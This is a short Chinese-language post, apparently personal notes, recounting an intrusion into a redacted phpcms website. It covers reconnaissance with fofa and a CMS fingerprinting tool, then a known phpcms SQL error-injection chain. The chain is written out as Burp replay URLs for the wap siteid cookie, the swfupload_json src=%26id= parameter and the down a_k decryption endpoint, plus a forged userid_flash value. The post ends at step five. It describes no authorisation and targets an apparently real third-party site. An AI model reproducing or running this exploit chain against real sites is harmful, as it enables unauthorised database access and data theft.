某cms网站渗透的过程

1.通过fofa查询出该网站的后台，进去发现很像某cms，利用御剑的cms识别工具识别出对方是phpcms的站。

 

2.通过百度查询得出：该phpcms站点可能存在文件上传，敏感信息泄露，sql报错注入。我只验证出来了sql报错注入。

3.把这几个链接转发到burp的重放器：

1.1：

http://xxxxxx.com.cn/index.php?m=wap&c=index&a=init&siteid=1[1]

获取Set-Cookie: aOqWU_siteid用的。

1.2:

http://xxxxxx.com.cn/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=[2]

sql报错注入转换为Set-Cookie:aOqWU_att_json用的。

1.3:

http://xxxxxx.com.cn/index.php?m=content&c=down&a_k=[3]

解密传输用的。

4.第一个1.1的链接发送go得到Set-Cookie: aOqWU_siteid的key。

 

5.把获取的的key复制到1.2链接最下面，伪造数据为：userid_flash=5608UgJVA1RVCARVBVdSVQRRVgwOAgFUWgMFBgYF，把GET请求改为POST请求。